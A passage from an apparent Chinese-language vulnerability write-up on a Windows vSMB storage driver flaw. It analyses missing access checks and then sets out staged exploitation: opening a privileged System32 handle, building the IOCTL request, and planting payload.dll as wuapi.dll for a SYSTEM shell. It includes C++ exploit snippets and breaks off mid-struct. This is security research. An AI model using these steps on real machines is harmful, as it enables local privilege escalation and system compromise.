0.05);border-radius: 3px;"><span leaf="">FileRenameInformationEx</span></code><span leaf="">常量。任何其他值都会导致失败。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在路径解析开始之前，对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IsStreamName</span></code><span leaf="">变量（在 [8] 处初始化为 1）进行求值。如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileNameLength</span></code><span leaf="">变量为零或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileName</span></code><span leaf="">字段的首字符不是 0x3A（&#39;:&#39;），则将其置为 0 [11]。在 NTFS 中，前导冒号表示备用数据流（如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">file.txt:stream</span></code><span leaf="">）。当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IsStreamName</span></code><span leaf="">为 false 时，使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FsRtlDissectName()</span></code><span leaf="">解析目标路径，将父目录路径（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TargetDirPath</span></code><span leaf="">）与最终文件名组件（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FinalPath</span></code><span leaf="">）分离。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">目标目录在 [12] 处通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IoCreateFileEx()</span></code><span leaf="">打开。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ObjectAttributes.RootDirectory</span></code><span leaf="">字段被设置为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VsmbRootObject-&gt;RootDirectoryHandle</span></code><span leaf="">（通过 CVE-2025-59517 获取的特权目录句柄），</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ObjectAttributes.ObjectName</span></code><span leaf="">被设置为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TargetDirPath</span></code><span leaf="">（上面提取的父目录路径）。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IoCreateFileEx()</span></code><span leaf="">相对于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RootDirectory</span></code><span leaf="">解析 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ObjectName</span></code><span leaf="">，在 vSMB 共享根目录内打开目标目录。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ObjectAttributes.Attributes</span></code><span leaf="">字段被设置为 0x240，表示 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OBJ_CASE_INSENSITIVE</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OBJ_KERNEL_HANDLE</span></code><span leaf="">标志。与前一个缺陷类似，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">OBJ_FORCE_ACCESS_CHECK</span></code><span leaf="">标志缺失。因此，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IoCreateFileEx()</span></code><span leaf="">调用期间再次绕过了 ACL 检查。操作成功并返回目标目录的句柄，存储在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FileHandle</span></code><span leaf="">变量中。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在 [13] 处，已解析并存储在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FinalPath.Buffer</span></code><span leaf="">缓冲区中的目标文件或文件夹名被复制到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InputBuffer-&gt;Info.RawBuffer[20]</span></code><span leaf="">中。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">同样地（以一种显著反复出现的模式），</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VsmbRootObject-&gt;HasWriteAccess</span></code><span leaf="">成员未设置导致用户访问检查被绕过。在 [14] 处，使用了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InformationClass</span></code><span leaf="">值的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BypassAccessCheck</span></code><span leaf="">变体。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">待操作的目标文件句柄在 [15] 处被复制到内核进程映射中。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最终，在 [16] 处，调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ZwSetInformationFile()</span></code><span leaf="">函数，在所有安全检查均被禁用的情况下执行指定操作。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">漏洞利用</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实质上，此漏洞提供了一个任意文件写入（以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">身份）原语。本节将聚焦于利用这两个缺陷将恶意文件（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">payload.dll</span></code><span leaf="">）放置到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C:\Windows\System32</span></code><span leaf="">目录中。随后调用特定的 COM 方法，使植入的 DLL 在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">进程下被加载。该技术的一个约束是 DLL 在 session 0 中加载，而 session 0 没有交互式桌面。然而，DLL 载荷通过启用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SeTcbPrivilege</span></code><span leaf="">权限并将生成的进程从 session 0 切换到活动控制台会话（已登录用户的活动会话）来克服这一限制，使 shell 提示符出现在用户桌面上。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下章节更详细地描述了漏洞利用的各阶段。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">阶段 1：获取特权 vSMB 共享句柄</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Kernel32.dll</span></code><span leaf="">库中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CreateFileW()</span></code><span leaf="">API 用于打开系统中现有设备的句柄。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下代码展示了如何利用 CVE-2025-59517，以 </span><em><span leaf="">vSMB</span></em><span leaf="">共享的形式获取指向目标 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C:\Windows\System32</span></code><span leaf="">目录的句柄：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">LPCWSTR targetPath = L</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">.</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">STORVSP</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">VSMB</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">??</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">C:</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Windows</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">System32</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">HANDLE hDevice = CreateFileW(</span><span leaf=""><br/></span><span leaf="">   targetPath,</span><span leaf=""><br/></span><span leaf="">   FILE_READ_DATA,</span><span leaf=""><br/></span><span leaf="">   FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,</span><span leaf=""><br/></span><span leaf="">   nullptr,</span><span leaf=""><br/></span><span leaf="">   OPEN_EXISTING,</span><span leaf=""><br/></span><span leaf="">   FILE_FLAG_BACKUP_SEMANTICS | FILE_ATTRIBUTE_DIRECTORY,</span><span leaf=""><br/></span><span leaf="">   nullptr</span><span leaf=""><br/></span><span leaf="">);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">注意句柄仅以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FILE_READ_DATA</span></code><span leaf="">访问权限打开，以绕过</span><em><span leaf="">代码分析</span></em><span leaf="">章节中所述的安全检查。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">阶段 2：构造输入缓冲区并触发漏洞 IOCTL</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">计划是将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">payload.dll</span></code><span leaf="">植入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C:\Windows\\System32\</span></code><span leaf="">，命名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wuapi.dll</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在多个可用于利用的系统文件中，出于稳定性考虑选择了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">wuapi.dll</span></code><span leaf="">模块作为目标。在撰写本博文时，在 Windows 11 版本 23H2 的副本上替换上述模块未导致系统崩溃或异常行为。需要注意的是，任何文件均可作为目标，前提是它由拥有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SYSTEM</span></code><span leaf="">权限的进程加载。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于攻击向量是本地的，假定场景是攻击者在同一文件夹中放置 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">payload.dll</span></code><span leaf="">并启动 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">exploit.exe</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下代码展示了如何为此场景初始化和填充输入缓冲区：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">define</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">FileRenameInformation</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">10</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">typedef</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> _VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST {</span><span leaf=""><br/></span><span leaf="">    DWORD Version;</span><span leaf=""><br/></span><span leaf="">    DWORD Reserved04;</span><span leaf=""><br/></span><span leaf="">    UINT64 SourceHandle;</span><span leaf=""><br/></span><span leaf="">    DWORD InformationClass;</span><span leaf=""><br/></span><span leaf="">    DWORD BufferLength;</span><span leaf=""><br/></span><span leaf="">    BYTE Buffer[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">} VSTOR_VSMB_SET_INFORMATION_FILE_REQUEST, *PVSTOR_VSMB_SET_INFORMATION_FILE_REQUEST;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">typedef</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span leaf=""> 